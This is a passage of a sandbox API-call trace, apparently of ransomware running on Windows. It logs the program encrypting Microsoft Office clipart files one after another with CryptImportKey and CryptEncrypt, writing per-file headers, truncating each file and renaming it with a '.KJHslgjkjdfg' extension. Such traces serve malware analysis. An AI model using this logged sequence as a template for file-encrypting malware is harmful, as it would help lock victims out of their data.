pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.114] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.114] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9c80, lpOverlapped=0x0) returned 1 [0190.115] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c80, dwBufLen=0x9c80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c80) returned 1 [0190.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.115] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9c80, lpOverlapped=0x0) returned 1 [0190.116] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.116] SetEndOfFile (hFile=0x114) returned 1 [0190.119] GetProcessHeap () returned 0x2a0000 [0190.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.119] GetProcessHeap () returned 0x2a0000 [0190.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.kjhslgjkjdfg")) returned 1 [0190.121] CloseHandle (hObject=0x114) returned 1 [0190.121] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0190.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.124] GetProcessHeap () returned 0x2a0000 [0190.124] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.124] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.124] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.126] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.126] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.127] GetProcessHeap () returned 0x2a0000 [0190.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.127] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.127] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.127] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.127] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.127] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.127] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.128] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.128] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.128] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfe6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfe6, lpOverlapped=0x0) returned 1 [0190.128] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0, dwBufLen=0xff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0) returned 1 [0190.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.128] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xff0, lpOverlapped=0x0) returned 1 [0190.128] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.128] SetEndOfFile (hFile=0x114) returned 1 [0190.131] GetProcessHeap () returned 0x2a0000 [0190.131] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.131] GetProcessHeap () returned 0x2a0000 [0190.131] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.kjhslgjkjdfg")) returned 1 [0190.133] CloseHandle (hObject=0x114) returned 1 [0190.133] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a9b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x752a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x5006, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00633_.WMF", cAlternateFileName="")) returned 1 [0190.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.134] GetProcessHeap () returned 0x2a0000 [0190.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.135] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.135] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.138] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.138] GetProcessHeap () returned 0x2a0000 [0190.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.138] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.138] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.138] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.138] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.139] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.139] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.139] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.139] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.139] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.139] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5006, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5006, lpOverlapped=0x0) returned 1 [0190.140] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5010, dwBufLen=0x5010 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5010) returned 1 [0190.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.141] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5010, lpOverlapped=0x0) returned 1 [0190.141] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x50e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.141] SetEndOfFile (hFile=0x114) returned 1 [0190.144] GetProcessHeap () returned 0x2a0000 [0190.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.144] GetProcessHeap () returned 0x2a0000 [0190.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00633_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00633_.wmf.kjhslgjkjdfg")) returned 1 [0190.146] CloseHandle (hObject=0x114) returned 1 [0190.146] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3039c00, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3039c00, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x1aba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00638_.WMF", cAlternateFileName="")) returned 1 [0190.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.149] GetProcessHeap () returned 0x2a0000 [0190.149] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.149] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.149] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.151] GetProcessHeap () returned 0x2a0000 [0190.151] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.151] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.151] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.152] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.152] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.152] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1aba, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1aba, lpOverlapped=0x0) returned 1 [0190.153] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ac0, dwBufLen=0x1ac0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ac0) returned 1 [0190.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.153] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ac0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ac0, lpOverlapped=0x0) returned 1 [0190.153] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.153] SetEndOfFile (hFile=0x114) returned 1 [0190.156] GetProcessHeap () returned 0x2a0000 [0190.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.156] GetProcessHeap () returned 0x2a0000 [0190.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.kjhslgjkjdfg")) returned 1 [0190.158] CloseHandle (hObject=0x114) returned 1 [0190.158] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53153500, ftCreationTime.dwHighDateTime=0x1bd4b44, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53153500, ftLastWriteTime.dwHighDateTime=0x1bd4b44, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00656_.WMF", cAlternateFileName="")) returned 1 [0190.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.160] GetProcessHeap () returned 0x2a0000 [0190.160] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.160] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.160] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.160] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.162] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.162] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.162] GetProcessHeap () returned 0x2a0000 [0190.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.162] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.162] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.162] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.163] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.163] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.163] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.163] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.163] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.163] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x584, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x584, lpOverlapped=0x0) returned 1 [0190.163] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x590, dwBufLen=0x590 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x590) returned 1 [0190.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.163] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x590, lpOverlapped=0x0) returned 1 [0190.164] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x664, 